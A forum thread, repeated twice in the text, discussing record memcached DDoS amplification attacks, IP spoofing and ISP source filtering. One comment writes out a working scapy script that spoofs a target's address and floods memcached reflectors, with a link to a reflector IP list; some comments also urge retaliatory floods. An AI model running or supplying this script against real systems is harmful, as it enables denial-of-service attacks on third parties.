11 ms·

It has gotten much easier to wage record-breaking DDoSes

99 points by seagullz 9y ago

tyingq 9y ago
It was Mongodb, dns, tftp, ntp, and cheap home router admin interfaces before, memcached this time. Fixing memcached is important, sure, but it won’t be the last amplification vector.
- iforgotpassword 9y ago
  The interesting part is that almost every time the amplification factor increased. NTP was a big iirc, but this is really huge. I find it hard to believe they'll ever discover something that yields an even higher ratio, but saying "never" in this kind of situation will eventually make one look stupid one day. Thinking about it, I could imagine a bug in some software where it just takes one malformed UDP packet to trigger an infinite amount of response packets or something like that. That would be so bad it starts being hilarious again.
Analemma_ 9y ago
Why don't ISPs block packets with a source IP originating outside their network? It would shut down attacks like this in an instant, and it would save them money on peering costs for floods of junk traffic.
- deleted 9y ago
  [deleted]
- tyingq 9y ago
  A great idea that dates back almost 20 years, but hasn’t gained any traction. https://tools.ietf.org/html/rfc2827 https://tools.ietf.org/html/rfc2827 and https://tools.ietf.org/html/bcp38 https://tools.ietf.org/html/bcp38 It’s very similar to the issue with VOIP and caller ID spoofing. No idea why either hasn’t moved at all.
  - viraptor 9y ago
    VoIP and Cid spoofing is simply due to gov not enforcing rules against it. There are valid technical reasons to allow Cid spoofing sometimes, but if you're with a reasonable provider, you usually have to sign some disclaimer that you won't abuse it and take the legal responsibility. The are probably existing laws against the abuse depending on your country. They're just not enforced. It's much easier to trace than IP traffic as well. Every internet telco will have full logs of each connection.
    - MichaelGG 9y ago
      There are a lot of technical reasons. At the wholesale level there is no way to know if a source is valid. Even AT&T routes to dozens of providers for some calls and has no idea what is going where. Even local calls from someone in your own city might end up on someone else's VoIP network to get connected. It is true though if the FCC started handing down fines that VoIP providers would require insurance/bonding all the way up. That would not fix it all but would be a large jump forward. We also need end-users to force the issue. File suits and complaints. Every time we'd receive a complaint the resolution was "we blocked that number" and "we have no further info". If there was someone pushing a lawsuit through then suddenly everyone up the supplier chain would hand over their customer info right to the real end-user. Instead, the FCC runs silly programs like their Anti-Robo-Dialer thing.
      - viraptor 9y ago
        > At the wholesale level there is no way to know if a source is valid. Only the first party needs to know the answer. The enforcing org can ask the first telco: was it your subscriber who initiated? If yes, fine the subscriber. If not, repeat with the telco that sent the call. If the last telco knowingly helped, fine it as well. > Even AT&T routes to dozens of providers for some calls and has no idea what is going where. Lol. :-) Every single connection initiated exists in very detailed CDRs. That includes the path used as well, since they have to deal with billing other telcos for handling their calls and finding the right (cheap) path at the right time. Telcos either have full records, or they lost money. I can't think of a business with more detailed record of every single transaction they make. Probably even accounting is less strict.
- hannob 9y ago
  Most of them do. Which the article fails to mention unfortunately. You not only need the tools, you also need to be in a network that allows you to forge sender IPs. Filtering those has been advocated for a long time (BCP38), but unfortunately there are still networks that don't do it.
- ZWoz 9y ago
  Theres easy answer: money. Transit ISPs asking LoA (Letter of Authorization) or whois records (like AS-SETs) from my small ISP don't ask them from big chinese or russian ISPs. Now, those chinese/russian ISPs themselves allow unfiltered route announcements probably because 1) They don't care and setting up proper system is inconvenient 2) They make money with it (known shady clients[0]) --------- [0] - https://en.wikipedia.org/wiki/Russian_Business_Network https://en.wikipedia.org/wiki/Russian_Business_Network
- swiley 9y ago
  I don't think a multihomed ISP can do that, but I'll be the first to admit that I don't understand internet routing all that well.
  - jlgaddis 9y ago
    It's harder for a transit ISP, but your average, typical ISP isn't providing transit for a huge number of other AS's. We ($work) are pretty small but we provide transit for a handful of other AS's and I have extensive filtering everywhere. Downstream customers can advertise networks that are allocated/assigned to them and I'll accept IP traffic from those source addresses. If they send us traffic with random source IP addresses, though, it gets dropped by the router of ours that they are connected to.
- mirimir 9y ago
  It's not uncommon to announce an IP address from one ISP through another ISP. As long as they agree, anyway.
majke 9y ago
In my humble the focus should be less on memcached, which is today's problem. It should be on IP spoofing in general: https://blog.cloudflare.com/the-root-cause-of-large-ddos-ip-spoofing/ https://blog.cloudflare.com/the-root-cause-of-large-ddos-ip-... We will have amplification attacks as long as we have ISPs that permit (and benefit) from spoofing.
- click170 9y ago
  I feel the same way, but I worry that ISPs won't ever change unless they're forced to. I'm starting to wonder if Google should just stop accepting (or start delaying?) traffic to or from ISPs that allow spoofed traffic. I mean it doesn't feel hard to test. On the one hand I already avoid Google because they're getting uncomfortably large, but on the other hand I feel like it's going to take a company of Google's size to take a stand, or regulatory changes, before anything will change for the better here. It worked for improving the SSL situation and for distrusting bad CAs, didn't it? Non-rhetorical question, it feels like it did to me.
  - gowld 9y ago
    Why Google?
    - click170 9y ago
      Merely because they're big enough to throw their clout around, which could be a good thing or bad thing depending on how you view it. Could also be Apple, or Amazon, or maybe Netflix. Any large enough company really.
      - anonymfus 9y ago
        Why company? Why not one of these organisations: https://en.wikipedia.org/wiki/List_of_telecommunications_regulatory_bodies https://en.wikipedia.org/wiki/List_of_telecommunications_reg... for example?
- w8rbt 9y ago
codexon 9y ago
Looks like compared to other ddos vectors it isn't that bad, because you can actually shut them down yourself unlike snmp etc... Any unsecured memcache server will also allow anyone to shut it down remotely. https://github.com/649/Memfixed-Mitigation-Tool https://github.com/649/Memfixed-Mitigation-Tool This problem will disappear in days when people notice their memcache servers randomly shutting down unlike the other ones where you are out of luck if the ISP doesn't look at their abuse inbox ever.
shpx 9y ago
That code [0] is just input() calls and a query to the https://www.shodan.io/ https://www.shodan.io/ API[1] (and poorly written if I'm being honest). Using memcache for ddos amplification can be done with a trivial python script from scapy.all import IP, UDP, Raw, send target = '127.0.0.256' with open('ips.txt', 'r') as f: ips = f.readlines() payload = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n' while True: for ip in ips: send(IP(src=target, dst=ip) / UDP(dport=11211) / Raw(load=payload), count=100, verbose=0) You can get ips.txt from https://pastebin.com/eSCHTTVu https://pastebin.com/eSCHTTVu (like the article says) [0] https://github.com/649/Memcrashed-DDoS-Exploit/blob/master/Memcrashed.py https://github.com/649/Memcrashed-DDoS-Exploit/blob/master/M... [1] https://github.com/649/Memcrashed-DDoS-Exploit/blob/3422efc009a43451281d165e8b9979189c405ff1/Memcrashed.py#L67 https://github.com/649/Memcrashed-DDoS-Exploit/blob/3422efc0...
w8rbt 9y ago
One day, only governments and criminals will be able to send UDP packets.
draugadrotten 9y ago
How about solving it by social rather than technical means? By that I mean that most suggested solutions focus on limiting the traffic, the HOW. The How is well known since many years, what is not working is WHEN. Right now, traffic is blocked WHEN someone decides it is blocked. There is little automation for many reasons. There are many technical proposals on the WHEN. Technical solutions include egress filtering or various types of filtering firewall devices. A social proposal could be to form a trusted group of individuals or organizations that are allowed to publish a blacklist, which is updated and distributed across public channels such as twitter. Anyone running a router can then filter based on this blocklist. This solution would mimic the spam filters of the world but focus on routers rather than mail servers. Edge routers makes very little difference here, and the situation is the same in the world of mail servers, where it makes a lot more impact to be filtered by outlook.com than by Jane Doe running exim in the garage. Perhaps this type of social distributed solution is in place already and I just am unaware. Otherwise... I hope HN is well connected and makes the internet a better place.
- codedokode 9y ago
  My suggestion is to allow to fight back (you can send 100 packets back for every incoming packet) - if someone DDOSes Github then they get 1 Gbps of flood and go off the network (maybe with their ISP that didn't do proper job to prevent attacks).
  - landryraccoon 9y ago
    Doesn't this just make the problem worse? Your attacker can just spoof that the attack is coming coming from the target, and you've just amplified the attack by 100x. Now they only need to spoof 1% of the traffic they did before, because you want the network to make a possee and lynch suspected DDOSers..
  - blackflame7000 9y ago
    Who's gonna stop you from fighting back right now realistically?
codedokode 9y ago
This is super easy to fix. You know the source IP addresses of memcached servers. Just send to them a spoofed packet with their own IP so that they attack themselves. Or if you know that your competitor is behing the attack, just attack them.
- blackflame7000 9y ago
  Perhaps you don't understand how this attack works. An attacker A sends request to 1 million memcache servers with your IP. You get 1 million replies from 1 million different IPs completely whipping you offline. So you won't be sending anything for a bit and even if you did, you're fighting 1 million memcacheBots to you need to take them all offline before your modem can breathe again. (its probably on fire at this point) Finally, since you are being attacked by memcached servers responding to a request that appeared to come from you, you can't figure out who your attacker was. Nevertheless, if you have a good hunch don't let that stop you from committing a felony against your competitor.
codedokode 9y ago
One of the way to fight DDOS could be to allow those who are under attack send traffic to the origin of the attack. So for example, if you receive 1 Mbps of traffic from some IP, you can send 100 Mbps back. If the origin is an infected computer, then it will most likely go off the network, and will stop participating in the attack. If the origin is a data center, then they will lose connetivity and it will motivate them to cure infected servers.
- landryraccoon 9y ago
  What do you do if the attacker spoofs the IP address of an innocent third party? Now you send them 100 Mbps, and they retaliate by sending you 10 GB? All this does is amplify the DDOS attack. You're making it easier to DDOS yourself, not harder.
  - lima 9y ago
    Third party isn't innocent in this case. Not that I'd condone any sort of vigilante justice, but leaving memcached servers open and ignore abuse messages is reckless.
- stordoff 9y ago
  I feel like this could easily lead to escalating counter-counter-...counter-attacks, giving a globally reduced service.
- blackflame7000 9y ago
  How do you send data back when you're network is flooding. Most network equipment grinds to a halt under extreme load

99 points by seagullz 9y ago

It was Mongodb, dns, tftp, ntp, and cheap home router admin interfaces before, memcached this time. Fixing memcached is important, sure, but it won’t be the last amplification vector.

iforgotpassword 9y ago
The interesting part is that almost every time the amplification factor increased. NTP was a big iirc, but this is really huge. I find it hard to believe they'll ever discover something that yields an even higher ratio, but saying "never" in this kind of situation will eventually make one look stupid one day. Thinking about it, I could imagine a bug in some software where it just takes one malformed UDP packet to trigger an infinite amount of response packets or something like that. That would be so bad it starts being hilarious again.

Analemma_ 9y ago

Why don't ISPs block packets with a source IP originating outside their network? It would shut down attacks like this in an instant, and it would save them money on peering costs for floods of junk traffic.

deleted 9y ago
[deleted]
tyingq 9y ago
A great idea that dates back almost 20 years, but hasn’t gained any traction. https://tools.ietf.org/html/rfc2827 https://tools.ietf.org/html/rfc2827 and https://tools.ietf.org/html/bcp38 https://tools.ietf.org/html/bcp38 It’s very similar to the issue with VOIP and caller ID spoofing. No idea why either hasn’t moved at all.
- viraptor 9y ago
  VoIP and Cid spoofing is simply due to gov not enforcing rules against it. There are valid technical reasons to allow Cid spoofing sometimes, but if you're with a reasonable provider, you usually have to sign some disclaimer that you won't abuse it and take the legal responsibility. The are probably existing laws against the abuse depending on your country. They're just not enforced. It's much easier to trace than IP traffic as well. Every internet telco will have full logs of each connection.
  - MichaelGG 9y ago
    There are a lot of technical reasons. At the wholesale level there is no way to know if a source is valid. Even AT&T routes to dozens of providers for some calls and has no idea what is going where. Even local calls from someone in your own city might end up on someone else's VoIP network to get connected. It is true though if the FCC started handing down fines that VoIP providers would require insurance/bonding all the way up. That would not fix it all but would be a large jump forward. We also need end-users to force the issue. File suits and complaints. Every time we'd receive a complaint the resolution was "we blocked that number" and "we have no further info". If there was someone pushing a lawsuit through then suddenly everyone up the supplier chain would hand over their customer info right to the real end-user. Instead, the FCC runs silly programs like their Anti-Robo-Dialer thing.
    - viraptor 9y ago
      > At the wholesale level there is no way to know if a source is valid. Only the first party needs to know the answer. The enforcing org can ask the first telco: was it your subscriber who initiated? If yes, fine the subscriber. If not, repeat with the telco that sent the call. If the last telco knowingly helped, fine it as well. > Even AT&T routes to dozens of providers for some calls and has no idea what is going where. Lol. :-) Every single connection initiated exists in very detailed CDRs. That includes the path used as well, since they have to deal with billing other telcos for handling their calls and finding the right (cheap) path at the right time. Telcos either have full records, or they lost money. I can't think of a business with more detailed record of every single transaction they make. Probably even accounting is less strict.
hannob 9y ago
Most of them do. Which the article fails to mention unfortunately. You not only need the tools, you also need to be in a network that allows you to forge sender IPs. Filtering those has been advocated for a long time (BCP38), but unfortunately there are still networks that don't do it.
ZWoz 9y ago
Theres easy answer: money. Transit ISPs asking LoA (Letter of Authorization) or whois records (like AS-SETs) from my small ISP don't ask them from big chinese or russian ISPs. Now, those chinese/russian ISPs themselves allow unfiltered route announcements probably because 1) They don't care and setting up proper system is inconvenient 2) They make money with it (known shady clients[0]) --------- [0] - https://en.wikipedia.org/wiki/Russian_Business_Network https://en.wikipedia.org/wiki/Russian_Business_Network
swiley 9y ago
I don't think a multihomed ISP can do that, but I'll be the first to admit that I don't understand internet routing all that well.
- jlgaddis 9y ago
  It's harder for a transit ISP, but your average, typical ISP isn't providing transit for a huge number of other AS's. We ($work) are pretty small but we provide transit for a handful of other AS's and I have extensive filtering everywhere. Downstream customers can advertise networks that are allocated/assigned to them and I'll accept IP traffic from those source addresses. If they send us traffic with random source IP addresses, though, it gets dropped by the router of ours that they are connected to.
mirimir 9y ago
It's not uncommon to announce an IP address from one ISP through another ISP. As long as they agree, anyway.

majke 9y ago

In my humble the focus should be less on memcached, which is today's problem. It should be on IP spoofing in general: https://blog.cloudflare.com/the-root-cause-of-large-ddos-ip-spoofing/ https://blog.cloudflare.com/the-root-cause-of-large-ddos-ip-... We will have amplification attacks as long as we have ISPs that permit (and benefit) from spoofing.

click170 9y ago
I feel the same way, but I worry that ISPs won't ever change unless they're forced to. I'm starting to wonder if Google should just stop accepting (or start delaying?) traffic to or from ISPs that allow spoofed traffic. I mean it doesn't feel hard to test. On the one hand I already avoid Google because they're getting uncomfortably large, but on the other hand I feel like it's going to take a company of Google's size to take a stand, or regulatory changes, before anything will change for the better here. It worked for improving the SSL situation and for distrusting bad CAs, didn't it? Non-rhetorical question, it feels like it did to me.
- gowld 9y ago
  Why Google?
  - click170 9y ago
    Merely because they're big enough to throw their clout around, which could be a good thing or bad thing depending on how you view it. Could also be Apple, or Amazon, or maybe Netflix. Any large enough company really.
    - anonymfus 9y ago
      Why company? Why not one of these organisations: https://en.wikipedia.org/wiki/List_of_telecommunications_regulatory_bodies https://en.wikipedia.org/wiki/List_of_telecommunications_reg... for example?
w8rbt 9y ago

codexon 9y ago

Looks like compared to other ddos vectors it isn't that bad, because you can actually shut them down yourself unlike snmp etc... Any unsecured memcache server will also allow anyone to shut it down remotely. https://github.com/649/Memfixed-Mitigation-Tool https://github.com/649/Memfixed-Mitigation-Tool This problem will disappear in days when people notice their memcache servers randomly shutting down unlike the other ones where you are out of luck if the ISP doesn't look at their abuse inbox ever.

shpx 9y ago

That code [0] is just input() calls and a query to the https://www.shodan.io/ https://www.shodan.io/ API[1] (and poorly written if I'm being honest). Using memcache for ddos amplification can be done with a trivial python script from scapy.all import IP, UDP, Raw, send target = '127.0.0.256' with open('ips.txt', 'r') as f: ips = f.readlines() payload = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n' while True: for ip in ips: send(IP(src=target, dst=ip) / UDP(dport=11211) / Raw(load=payload), count=100, verbose=0) You can get ips.txt from https://pastebin.com/eSCHTTVu https://pastebin.com/eSCHTTVu (like the article says) [0] https://github.com/649/Memcrashed-DDoS-Exploit/blob/master/Memcrashed.py https://github.com/649/Memcrashed-DDoS-Exploit/blob/master/M... [1] https://github.com/649/Memcrashed-DDoS-Exploit/blob/3422efc009a43451281d165e8b9979189c405ff1/Memcrashed.py#L67 https://github.com/649/Memcrashed-DDoS-Exploit/blob/3422efc0...

w8rbt 9y ago

One day, only governments and criminals will be able to send UDP packets.

draugadrotten 9y ago

How about solving it by social rather than technical means? By that I mean that most suggested solutions focus on limiting the traffic, the HOW. The How is well known since many years, what is not working is WHEN. Right now, traffic is blocked WHEN someone decides it is blocked. There is little automation for many reasons. There are many technical proposals on the WHEN. Technical solutions include egress filtering or various types of filtering firewall devices. A social proposal could be to form a trusted group of individuals or organizations that are allowed to publish a blacklist, which is updated and distributed across public channels such as twitter. Anyone running a router can then filter based on this blocklist. This solution would mimic the spam filters of the world but focus on routers rather than mail servers. Edge routers makes very little difference here, and the situation is the same in the world of mail servers, where it makes a lot more impact to be filtered by outlook.com than by Jane Doe running exim in the garage. Perhaps this type of social distributed solution is in place already and I just am unaware. Otherwise... I hope HN is well connected and makes the internet a better place.

codedokode 9y ago
My suggestion is to allow to fight back (you can send 100 packets back for every incoming packet) - if someone DDOSes Github then they get 1 Gbps of flood and go off the network (maybe with their ISP that didn't do proper job to prevent attacks).
- landryraccoon 9y ago
  Doesn't this just make the problem worse? Your attacker can just spoof that the attack is coming coming from the target, and you've just amplified the attack by 100x. Now they only need to spoof 1% of the traffic they did before, because you want the network to make a possee and lynch suspected DDOSers..
- blackflame7000 9y ago
  Who's gonna stop you from fighting back right now realistically?

codedokode 9y ago

This is super easy to fix. You know the source IP addresses of memcached servers. Just send to them a spoofed packet with their own IP so that they attack themselves. Or if you know that your competitor is behing the attack, just attack them.

blackflame7000 9y ago
Perhaps you don't understand how this attack works. An attacker A sends request to 1 million memcache servers with your IP. You get 1 million replies from 1 million different IPs completely whipping you offline. So you won't be sending anything for a bit and even if you did, you're fighting 1 million memcacheBots to you need to take them all offline before your modem can breathe again. (its probably on fire at this point) Finally, since you are being attacked by memcached servers responding to a request that appeared to come from you, you can't figure out who your attacker was. Nevertheless, if you have a good hunch don't let that stop you from committing a felony against your competitor.

codedokode 9y ago

One of the way to fight DDOS could be to allow those who are under attack send traffic to the origin of the attack. So for example, if you receive 1 Mbps of traffic from some IP, you can send 100 Mbps back. If the origin is an infected computer, then it will most likely go off the network, and will stop participating in the attack. If the origin is a data center, then they will lose connetivity and it will motivate them to cure infected servers.

landryraccoon 9y ago
What do you do if the attacker spoofs the IP address of an innocent third party? Now you send them 100 Mbps, and they retaliate by sending you 10 GB? All this does is amplify the DDOS attack. You're making it easier to DDOS yourself, not harder.
- lima 9y ago
  Third party isn't innocent in this case. Not that I'd condone any sort of vigilante justice, but leaving memcached servers open and ignore abuse messages is reckless.
stordoff 9y ago
I feel like this could easily lead to escalating counter-counter-...counter-attacks, giving a globally reduced service.
blackflame7000 9y ago
How do you send data back when you're network is flooding. Most network equipment grinds to a halt under extreme load